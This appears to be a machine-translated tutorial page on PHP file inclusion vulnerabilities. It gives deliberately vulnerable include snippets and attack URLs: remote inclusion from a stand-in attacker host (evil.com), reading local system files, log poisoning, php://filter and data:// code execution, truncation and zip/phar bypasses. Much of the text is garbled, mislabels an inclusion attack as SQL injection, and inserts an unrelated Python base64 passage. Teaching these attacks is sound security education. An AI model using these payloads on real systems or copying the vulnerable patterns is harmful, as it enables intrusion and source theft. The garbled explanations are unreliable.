Studied for cybersecurity
Published a Medium post
Edited a blog post
Started studying Information Technology
+2

PHP - A File Inclusion Vulnerability

A file inclusion vulnerability is attributable to the PHP function in the files since the incoming file name is not properly tested.

This has led to the introduction of developers expect of the file. (Note: The file is recognized as a script file to resolve the)
  • File contains divided into the local and remote file inclusion
  • A remote file inclusion vulnerability: you can directly execute arbitrary code In the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On

Correlation Function

The PHP function
 | The function explanation
 | If an error of the operation

include
 | The statement can obtain in the specified file, all text/code/tags, and to use the included statement of file
 | Introduced the document incorrect builds only warning (E_WARNING), and the script will continue executing the script

include_once
 | This behavior and include statements similar to functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.

require
 | The statement can obtain in the specified file, all text/code/marking and copyrequireStatement of the file
 | Introduced the document incorrectly, That's going to produce a fatal error (E_COMPILE_ERROR) and stop scripts run

require_once
 | With a required statement similar functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.


The PHP function
 | The function explanation

highlight_file
 | Function file syntax highlighting

show_source
 | Function file syntax highlighting

readfile
 | Function to read a file and is written into the output buffer

If successful, the function returns the file read in the number of bytes of the object. If it fails, the function returns FALSE and comes with an error message. You can use the function name added before a '@' to hide the error output

file_get_contents
 | Function to read the entire file into a string

fopen
 | Function either open the file or URL

File
 | Function to read the entire file into an array

Vulnerability Hazard
  • Arbitrary code execution
  • Data for the source code of the OSS Java or sensitive information

<?php
if( isset($_GET['x']))
{
    include $_GET['x'];
}
?>

Remote File Inclusion-Code Execution

Remember a remote file inclusion vulnerability that you want to use in the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On

Victims domain: http://example.com

The attacker domain: http://evil.com
The attacker files: 1.txt

<?php phpinfo(); ?>

SQL injection attack against the role: http://example.com/1.php? x=http://evil.com/1.txt


LocalFile Contains-Execute Code


Picture Horse Write Shell

Victim domain name: http://example.com

Suppose the victim server has an upload function, but only one picture can be uploaded. At this time, we can upload a picture with a Trojan horse on the upload interface of the victim's server

When attacking: http://example.com/1.php? x=./1.jpg

Contains the log GetShell

The log records the client request and server response information

For example, when visiting: http://example.com/&lt;? php phpinfo(); ?> <? php phpinfo(); ?> will be recorded in the log

System
 | Server
 | Location of possible error logs

Windows
 | Apache
 | ./Apache/logs/error.log

Windows
 | nginx
 | ./nginx/logs/error.log

Linux
 | Apache
 | /var/log/apache2/error.log

Linux
 | Apache
 | /var/log/httpd/error.log

Linux
 | Apache
 | /etc/httpd/logs/error.log

Linux
 | nginx
 | /var/log/nginx
I use phpStudy locally, so the log location is: 
D:\phpStudy\PHPTutorial\Apache\logs\error.log


When attacking: http://example.com/1.php x=D:\phpStudy\PHPTutorial\Apache\logs\error.log

Local Include Read File


Windows Read File

When attacking: http ://example.com/1.php? x=C:\Windows\win.ini


Linux Read File

Read PHP File Source Code

If we say that we include the PHP file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol

For example, when we attacked: http://example.com/1.php? x=php://filter/read=convert.base64-encode/resource=1.php



Indicates that the source code of the file 1.php is read

Truncation Bypass

<?php
if(isset($_GET['x']))
{
    include $_GET['x'] . '.html';
}
?>

Required environment

  • PHP version is less than 5.3.4
  • magic_quotes_gpc is off
If the above conditions are met, you can use this method to bypass

Truncated

Victim domain name: http://example.com
Local File Inclusion Attack
<?php phpinfo(); ?>

Local file contains attack: http://example.com/2.php?x=./1.jpg%00


Remote File Inclusion Attack

Remember that the remote file contains to use make sure that allow_url_fopen and allow_url_include in php.ini are both On
<?php phpinfo(); ?>

Path Length Truncation

Required environment
  • PHP version is less than 5.3.10
Workaround: Use characters
  • .
  • /.
  • ./
(Note the order) to truncate, because the file path has a length limit

System file path length limitation:
  • Windows 259 bytes
  • Linux 4096 bytes
<?php phpinfo(); ?>

PHP Bypass Restrictions

Protocol
 | Features

file ://
 | Access local file system

http ://
 | Visit HTTP(S) URL

ftp ://
 | Access FTP(S) URL

php ://
 | Access to various input/output streams (I /O streams)

zlib ://
 | Compressed stream

data ://
 | Data (RFC 2397)

globe ://
 | Find matching file path patterns

phar: //
 | PHP archive

ssh2://
 | Secure Shell 2

rar ://
 | RAR

ogg ://
 | Audio stream

expect ://
 | Handling interactive streams


<?php
if(isset($_GET['x']))
{
    include $_GET['x'];
}
?>

file://protocol

PHP.ini:
The file:// protocol can also be used normally in the case of double off;

  • allow_url_fopen: off/on
  • allow_url_include: off/on
  • file:// is used to access local files
  • file:// [absolute path and file name of the file]

php://protocol

php://filter can also be used normally in the case of double off;
condition:
No need to enable allow_url_fopen
Only php://input, php://stdin, php://memory and php://temp need to enable allow_url_include.

php:// access to various input/output streams (I/O streams)

Frequently used in CTF are php://filter and php://input
  • php://filter is used to read the source code
  • php://input is used to execute PHP code

php://filter

php://filter is a meta-wrapper designed for filtering applications when the data stream is opened. This is very useful for all-in-one file functions, like readfile(), file(), and file_get_contents(), where there is no chance to apply other filters before the data stream content is read.


  • resource=<data stream to be filtered> #This parameter is required. It specifies the data stream you want to filter.
  • read=<filter list of reading chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
  • write=<filter list of write chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
  • <; Filter list of two chains> #Any filter list that is not prefixed with read= or write= will be applied to the read or write chain as appropriate.

http://example.com/1.php?x=php://filter/read=convert.base64-encode/resource=upload.php

  • The filter read here is convert.base64-encode, which is the same as the literal meaning, base64-encode the input stream.
    resource=upload.php, which means to read the content of upload.php

So you can to base64 encoding of the read document source code


Filter

The filter has a lot of kinds, have string filter, filter, compressed filters, encryption filter

String Filter


string.rot13
Perform rot13 conversion
string.toupper
Capitalize all characters
string.tolower
All lowercase characters
string.strip_tags
The result after removing empty characters, HTML and PHP tags.
The function is similar to the strip_tags() function. If you don't want some characters to be eliminated, you can use a string or an array in two ways.

Example



<?php
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.rot13');
    echo "rot13:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.toupper');
    echo "Upper:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.tolower');
    echo "Lower:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    echo "Del1:";
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE);
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    echo "Del2:";
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, "<b>");
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));
    echo "Del3:";
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
?>


Conversion Filter

Base64 Encoding & Decoding

Base64 encoding converts the binary data into text format, which is passed through a communication channel where a user can handle text safely. Base64 is also called Privacy enhanced Electronic mail (PEM) and is primarily used in the email encryption process.

Python includes a module called BASE64 which includes two primary functions as given below −
  • Base64.decode(input, output) − It decodes the input value parameter specified and stores the decoded output as an object.
  • Base64.encode(input, output) − It encodes the input value parameter specified and stores the decoded output as an object.
Quoted-Printable Encoding & Decoding


For example:


<?php
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-encode');
    echo "base64-encode:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $param = array('line-length' => 8,'line-break-chars' => "\n");
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-encode', STREAM_FILTER_WRITE, $param);
    echo "\nbase64-encode-split:\n";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-decode');
    echo "\nbase64-decode:";
    fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.quoted-printable-encode');
    echo "quoted-printable-encode:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.quoted-printable-decode');
    echo "\nquoted-printable-decode:";
    fwrite($fp, "This is a test.=0A");
    fclose($fp);
    echo "<br>";

?>


Compression Filter

zlib.* The compression filter is available since PHP version 5.1.0, provided that zlib is activated. It can also be used in version 5.0.x as a backdoor by installing the zlib_filter package from »PECL.

This filter is not available in PHP 4.


<?php
$params = array('level' => 6,'window' => 15,'memory' => 9);
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is ". strlen($original_text)." characters long.\n";
$fp = fopen('test.deflated','w');
stream_filter_append($fp,'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
echo "The compressed file is ". filesize('test.deflated')." bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');

/* Generates output:
The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.
 */
?>


Encryption Filter





php://filter Read the Source Code of PHP files

If we say that we include the php file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol

For example, when we attacked: 

php://input Execute Code

  • php://input is a read-only stream that can access the original data of the request. You can read the original data that is not parsed by the post, and execute the data in the post request as PHP code.
  • Because it does not depend on specific php.ini directives.
  • Note: php://input is invalid when enctype="multipart/form-data".


  • allow_url_fopen :off/on # can be opened or closed
  • allow_url_include: on # must be turned on





php://output


<?php  
$code=$_GET["a"];  
file_put_contents($code,"test");   
?> 


data://

  • data: resource type; coding, content
  • Datastream wrapper
  • When allow_url_include is turned on, any file inclusion will become any command execution

PHP.ini:
The data:// protocol must be on in order to be used normally;

allow_url_fopen: on
allow_url_include: on

php version is greater than or equal to php5.2# Test code
# File name: xxx.php

<?php
$filename=$_GET["a"];
include("$filename");
?>How to use

http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

or
http://127.0.0.1/xxx.php?a=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=



zip://, bzip2://, zlib:// protocol


PHP.ini:
The zip://, bzip2://, zlib:// protocols can also be used normally in the case of double off;


  • allow_url_fopen: off/on
  • allow_url_include: off/on


  • The three encapsulation protocols all open compressed files directly.
  • compress.zlib://file.gz-handles compressed packages with the suffix'.gz'
  • compress.bzip2://file.bz2-the compressed package with the suffix of'.bz2' is processed


  • zip://archive.zip#dir/file.txt-Process files in the compressed package with the suffix of'.zip'



zip://, bzip2://, zlib:// are all compressed streams, you can access the sub-files in the compressed file, and more importantly, there is no need to specify the suffix name


zip://protocol


php version is greater than or equal to php5.3.0


Instructions:

  • zip://archive.zip#dir/file.txt
  • zip:// [absolute path of compressed file]#[sub-file name in compressed file]**
  • Use absolute path + URL encoding#


test:


Create a new file named zip.txt with the content <?php phpinfo();?>, and then compress it into a zip file named test.zip.


Renamed to jpg



bzip2://protocol


Instructions:

  • compress.bzip2://file.bz2
  • A relative path is also ok

test


zlib://protocol

Instructions:
  • compress.zlib://file.gz
  • A relative path is also ok




# 1.jpg code

<?php phpinfo(); ?>

PHP Pseudo-Protocol Knot




Small Example


# For example, this limits us to only .html files
# File name: 2.php

<?php
if(isset($_GET['x']))
{
    include $_GET['x'].'.html';
}
?>

Limits the bypass methods that can only include .xxx files


Bypass Method one-zip protocol


Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.

Bypass Method two-zip protocol

Some upload points may be restricted, you can only upload jpg

Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.


Bypass Method three-phar protocol


Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.


If you can upload a zip file, upload the zip file, if not, rename it to 111.jpg and upload it.